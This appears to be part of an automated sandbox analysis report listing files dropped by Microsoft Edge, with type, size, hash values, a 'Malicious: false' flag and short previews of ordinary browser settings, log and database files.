File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\bd1d088e-d679-429a-94d2-ea458894fdea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (16979), with no line terminators
Category:	dropped
Size (bytes):	16979
Entropy (8bit):	5.436748532629108
Encrypted:	false
SSDEEP:	192:st4J99QTryDiuabatSuypzsa+aFvrE9kH2E1FRgKLklqlfYq8B6bV+Fb5QwU83Xl:st4PGQSu4zsa+CDrHOYzbGdQwV31
MD5:	B73094ADEB39B61DC3BC24C80413EA43
SHA1:	C2BDE3E041546590F505EEF08FE56EA374B6E5AF
SHA-256:	CE3DB2DD9F367F4F9D7EAFF31225067D02B17352EF67A755C6172A00A2D54FED
SHA-512:	210FC27F922045A7277CE29920D97868EABAA54A201BE1BFC8A0F708724BCE1E4C18952814C2B8B89C02550CDD0661051714BB07C4BFFBC66BE12BCA2DF2CA70
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374773963831317","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c3b0540a-2925-4c91-8f70-bd2cb5778fa9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (16979), with no line terminators
Category:	dropped
Size (bytes):	16979
Entropy (8bit):	5.436938991164194
Encrypted:	false
SSDEEP:	192:st4J99QTryDiuabatSuypzsa+aFvrE9kH2E1FRgKLklqlfYq8B6bV+Fb5QwUz3Xl:st4PGQSu4zsa+CDrHOYzbGdQwW31
MD5:	605B3490216317A3BD06A1DCBA1BAC4F
SHA1:	498A3706A7EACA9D6EE628ED2C29E32423F69B2D
SHA-256:	439C4A8E20C4961D9782AF064E451A1D7ABA394E9AD47ECECF8B6B22F3623AB6
SHA-512:	62E0634F5E4FACD84AA53641059A308976C4819C1A3040A88C8DF2908F593A70E943FAF67DB3EEBA7AEDFD084E113783A9E58FCEB2BF93EA07EA2D3BAD0CA553
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374773963831317","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\dbb8ffd2-72fa-4d44-a2ad-4cf44b244ac8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (16814), with no line terminators
Category:	dropped
Size (bytes):	16814
Entropy (8bit):	5.4404314672473655
Encrypted:	false
SSDEEP:	192:st4J99QTryDiuabatSuypzsa+aFvrE9kH2E1FRgKLklqlfYq8B6bV+Fb5QwUtUXl:st4PGQSu4zsa+CDrHOYzbGdQwb1
MD5:	F07171CB0E180E27D8E56BA1644873BC
SHA1:	02C469BAAAD8F3A680A2E8DAE76D167C237990D0
SHA-256:	F441FCBA35CDA535E8264F91C637AC07E139D92B62E17AA65AD36F1C84E08AC8
SHA-512:	6F86355C9A0EF4C727B2AAD15996497D1B3496AD411244F7C77DF546DC576389E1EF06591405B5C34480CED31B499E8AF2D5B4EE515C7F820D42419F8222B123
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374773963831317","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10589120042711052
Encrypted:	false
SSDEEP:	12:JntYlcntY0EpEjVl/PnnnnnnnnnnnnvoQtEoxu:JntQcntuoPnnnnnnnnnnnnvHj
MD5:	9CB5457206ADD15CD5983A4CD8F4313F
SHA1:	7824459703E0DA2C6B080E5560CA2712FBF16265
SHA-256:	D36B2649FD3C5655AE1F1B548866E05B13A3CE89E6449576CA5B393FE977AD82
SHA-512:	F424BE06AA1F83D105BD7E4314B583445603B5BB7C38EA9BD24D334EDD020E2FFAC175138EFCF996D54D3D8AA4624A468D63CCBC3A8C1BF098B45E701F0CF44C
Malicious:	false
Preview:	..-.............Q........oWh...i$J...V...5,......-.............Q........oWh...i$J...V...5,............M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9342152204326017
Encrypted:	false
SSDEEP:	384:AvTg57/r77EI7oU87zhr7Pllr7cq4ir7p+Ey1yWcynymRyVxyjX:Bk3C
MD5:	4F53C5CF3FDDF1AA8675A42F88A13FEA
SHA1:	A1EA74FDC1EE7F92CFA9E384F43DE13F2C02EA34
SHA-256:	FDA5672403B201C9941C493933F0F04A99E21C521851E78F81DE728B1F4373C5
SHA-512:	35CE1371C99F12A06D9F1FF524C7897F321451B84B3DE418E850E04676F02E49EEC8187BCFD59E855D25A2336229C069467DC3317737767BD51B7B53AD94C2B1
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.5482410652760703
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuublla8O:pHayXl2
MD5:	E8D097C12C4864DF42A581FD47FC20BB
SHA1:	31E833AC477F3F48F0A52C2CABA130C4CCE636FE
SHA-256:	CDD43FECAFA79C7A83E0F35EA260B51CCCC83DDC5B48E2378351A859B90C76A7
SHA-512:	92F2913B3F17FFFDDA7DCDA740ADE8EF545F870359374939AEE0C1E18806E289E196C9C7778C7C0EB57AAA6B775F840E1BC4492671F1568C65BC7BF907D9432D
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................'".;...............#38_h.......6.Z..W.F.....2.......2...........V.e................V.e....................0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.246150170680281
Encrypted:	false
SSDEEP:	6:6k/hFK5N+q2PN723oH+TcwtfrK+IFUt8vk/mWZmw+vk/NVkwON723oH+TcwtfrUQ:6k7e+vVaYeb23FUt8vkOW/+vkFV5OaYq
MD5:	430354C750E048D43F383B55128EF449
SHA1:	1F400434A8B3C14A63F88FCC5CF560EC1716A84A
SHA-256:	CB62375E71ACE56A32172CB05B123E9A7770A15996F9F741EEA471C7395729D2
SHA-512:	1B9410991BFB4C18009E5DEAEE49E05780FBB0C3701888F33B224EECBC91CA24FC68F35AB023685F2A79BCA21AD2841E874884B8D95653324532584466A4D660
Malicious:	false
Preview:	2024/10/30-10:59:23.878 16ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/30-10:59:23.879 16ec Recovering log #3.2024/10/30-10:59:23.879 16ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.246150170680281
Encrypted:	false
SSDEEP:	6:6k/hFK5N+q2PN723oH+TcwtfrK+IFUt8vk/mWZmw+vk/NVkwON723oH+TcwtfrUQ:6k7e+vVaYeb23FUt8vkOW/+vkFV5OaYq
MD5:	430354C750E048D43F383B55128EF449
SHA1:	1F400434A8B3C14A63F88FCC5CF560EC1716A84A
SHA-256:	CB62375E71ACE56A32172CB05B123E9A7770A15996F9F741EEA471C7395729D2
SHA-512:	1B9410991BFB4C18009E5DEAEE49E05780FBB0C3701888F33B224EECBC91CA24FC68F35AB023685F2A79BCA21AD2841E874884B8D95653324532584466A4D660
Malicious:	false
Preview:	2024/10/30-10:59:23.878 16ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/30-10:59:23.879 16ec Recovering log #3.2024/10/30-10:59:23.879 16ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.205234658362913
Encrypted:	false
SSDEEP:	6:6k/Rcj3+q2PN723oH+TcwtfrzAdIFUt8vk/TRWZmw+vk/TMVkwON723oH+Tcwtfa:6kS+vVaYeb9FUt8vkbRW/+vkbMV5OaY/
MD5:	D0EEB014596984B414F6AD6033B8DFD6
SHA1:	B58DB13D2A2D35C3AACD78C3521949D157B6647F
SHA-256:	73B0D224D53419CAE4036C4BD643B7DAB7350744BDA05DE3A110EDE4895D77E5
SHA-512:	2736882AEF43A22B8789B9169C5453315D50A7A5B2F88C2A7CD5F8D3E5D8ED9FB79A292A128E4C73CBD4A980318CA2E1EAB755C6A30A6A1FD71E1C0B74976342
Malicious:	false
Preview:	2024/10/30-10:59:23.834 16ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/30-10:59:23.836 16ec Recovering log #3.2024/10/30-10:59:23.836 16ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.205234658362913
Encrypted:	false
SSDEEP:	6:6k/Rcj3+q2PN723oH+TcwtfrzAdIFUt8vk/TRWZmw+vk/TMVkwON723oH+Tcwtfa:6kS+vVaYeb9FUt8vkbRW/+vkbMV5OaY/
MD5:	D0EEB014596984B414F6AD6033B8DFD6
SHA1:	B58DB13D2A2D35C3AACD78C3521949D157B6647F
SHA-256:	73B0D224D53419CAE4036C4BD643B7DAB7350744BDA05DE3A110EDE4895D77E5
SHA-512:	2736882AEF43A22B8789B9169C5453315D50A7A5B2F88C2A7CD5F8D3E5D8ED9FB79A292A128E4C73CBD4A980318CA2E1EAB755C6A30A6A1FD71E1C0B74976342
Malicious:	false
Preview:	2024/10/30-10:59:23.834 16ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/30-10:59:23.836 16ec Recovering log #3.2024/10/30-10:59:23.836 16ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089787454530634
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWPdi1zNtPMMkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynlTkzItSmd6qE7lFoC
MD5:	491CAA5811A454E1D1D12CB809D89F69
SHA1:	2B34B40F8901A9827F453410C1C20D0CEB3D86B3
SHA-256:	253A5F3D43A17EBE25FE4B974F3CC94C34EBBFE90F9DBEE5B0A8E9C505D3B001
SHA-512:	CBA6C2E39DFEA33161B3828680CCB8F9898F6D66C2A12B58E2B8D60DB5001F6F561A07D5B1E602F9C0B7361FEDC0797F242365DEEF4EBD831186BB6020A24B9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a559.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089787454530634
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWPdi1zNtPMMkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynlTkzItSmd6qE7lFoC
MD5:	491CAA5811A454E1D1D12CB809D89F69
SHA1:	2B34B40F8901A9827F453410C1C20D0CEB3D86B3
SHA-256:	253A5F3D43A17EBE25FE4B974F3CC94C34EBBFE90F9DBEE5B0A8E9C505D3B001
SHA-512:	CBA6C2E39DFEA33161B3828680CCB8F9898F6D66C2A12B58E2B8D60DB5001F6F561A07D5B1E602F9C0B7361FEDC0797F242365DEEF4EBD831186BB6020A24B9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a70f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089787454530634
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWPdi1zNtPMMkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynlTkzItSmd6qE7lFoC
MD5:	491CAA5811A454E1D1D12CB809D89F69
SHA1:	2B34B40F8901A9827F453410C1C20D0CEB3D86B3
SHA-256:	253A5F3D43A17EBE25FE4B974F3CC94C34EBBFE90F9DBEE5B0A8E9C505D3B001
SHA-512:	CBA6C2E39DFEA33161B3828680CCB8F9898F6D66C2A12B58E2B8D60DB5001F6F561A07D5B1E602F9C0B7361FEDC0797F242365DEEF4EBD831186BB6020A24B9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3cdd0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089787454530634
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWPdi1zNtPMMkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynlTkzItSmd6qE7lFoC
MD5:	491CAA5811A454E1D1D12CB809D89F69
SHA1:	2B34B40F8901A9827F453410C1C20D0CEB3D86B3
SHA-256:	253A5F3D43A17EBE25FE4B974F3CC94C34EBBFE90F9DBEE5B0A8E9C505D3B001
SHA-512:	CBA6C2E39DFEA33161B3828680CCB8F9898F6D66C2A12B58E2B8D60DB5001F6F561A07D5B1E602F9C0B7361FEDC0797F242365DEEF4EBD831186BB6020A24B9A
Malicious:	false
